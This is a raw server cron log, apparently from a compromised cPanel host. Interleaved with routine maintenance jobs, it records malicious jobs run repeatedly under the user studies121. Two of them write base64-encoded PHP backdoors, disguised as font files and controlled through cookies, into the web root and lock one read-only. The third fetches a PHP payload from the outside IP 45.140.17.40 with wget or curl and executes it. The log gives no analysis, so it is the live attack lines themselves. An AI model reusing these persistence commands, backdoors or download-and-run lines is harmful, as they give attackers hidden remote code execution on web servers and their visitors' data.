Sep  6 07:00:01 ip-184-168-122-23 CROND[31582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:00:01 ip-184-168-122-23 CROND[31581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:00:01 ip-184-168-122-23 CROND[31584]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 07:00:01 ip-184-168-122-23 CROND[31585]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:00:01 ip-184-168-122-23 CROND[31586]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 07:01:01 ip-184-168-122-23 CROND[31748]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 07:01:01 ip-184-168-122-23 CROND[31752]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:01:01 ip-184-168-122-23 CROND[31750]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 07:01:01 ip-184-168-122-23 CROND[31753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:01:01 ip-184-168-122-23 CROND[31754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:01:01 ip-184-168-122-23 CROND[31751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[31750]: starting 0anacron
Sep  6 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[31771]: finished 0anacron
Sep  6 07:02:01 ip-184-168-122-23 CROND[31864]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 07:02:01 ip-184-168-122-23 CROND[31866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:02:01 ip-184-168-122-23 CROND[31869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:02:01 ip-184-168-122-23 CROND[31868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:02:01 ip-184-168-122-23 CROND[31867]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:03:01 ip-184-168-122-23 CROND[31965]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:03:01 ip-184-168-122-23 CROND[31967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:03:01 ip-184-168-122-23 CROND[31968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:03:01 ip-184-168-122-23 CROND[31969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:04:01 ip-184-168-122-23 CROND[32090]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:04:01 ip-184-168-122-23 CROND[32091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:04:01 ip-184-168-122-23 CROND[32093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:04:01 ip-184-168-122-23 CROND[32092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:04:01 ip-184-168-122-23 CROND[32094]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 07:05:01 ip-184-168-122-23 CROND[32188]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 07:05:01 ip-184-168-122-23 CROND[32190]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 07:05:01 ip-184-168-122-23 CROND[32191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:05:01 ip-184-168-122-23 CROND[32194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:05:01 ip-184-168-122-23 CROND[32192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:05:01 ip-184-168-122-23 CROND[32193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:05:01 ip-184-168-122-23 CROND[32195]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 07:06:01 ip-184-168-122-23 CROND[32362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:06:01 ip-184-168-122-23 CROND[32363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:06:01 ip-184-168-122-23 CROND[32365]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 07:06:01 ip-184-168-122-23 CROND[32367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:06:01 ip-184-168-122-23 CROND[32369]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:07:01 ip-184-168-122-23 CROND[32451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:07:01 ip-184-168-122-23 CROND[32454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:07:01 ip-184-168-122-23 CROND[32453]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:07:01 ip-184-168-122-23 CROND[32456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:08:01 ip-184-168-122-23 CROND[32561]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 07:08:01 ip-184-168-122-23 CROND[32562]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:08:01 ip-184-168-122-23 CROND[32563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:08:01 ip-184-168-122-23 CROND[32566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:08:01 ip-184-168-122-23 CROND[32567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:09:01 ip-184-168-122-23 CROND[32659]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:09:01 ip-184-168-122-23 CROND[32660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:09:01 ip-184-168-122-23 CROND[32663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:09:01 ip-184-168-122-23 CROND[32662]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 07:09:01 ip-184-168-122-23 CROND[32664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:10:01 ip-184-168-122-23 CROND[318]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 07:10:01 ip-184-168-122-23 CROND[321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:10:01 ip-184-168-122-23 CROND[325]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:10:01 ip-184-168-122-23 CROND[326]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 07:10:01 ip-184-168-122-23 CROND[327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:10:01 ip-184-168-122-23 CROND[324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:10:01 ip-184-168-122-23 CROND[323]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 07:10:01 ip-184-168-122-23 CROND[328]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 07:11:01 ip-184-168-122-23 CROND[413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:11:01 ip-184-168-122-23 CROND[415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 07:11:01 ip-184-168-122-23 CROND[414]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:11:01 ip-184-168-122-23 CROND[416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:12:01 ip-184-168-122-23 CROND[499]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 07:12:02 ip-184-168-122-23 CROND[503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:12:02 ip-184-168-122-23 CROND[506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
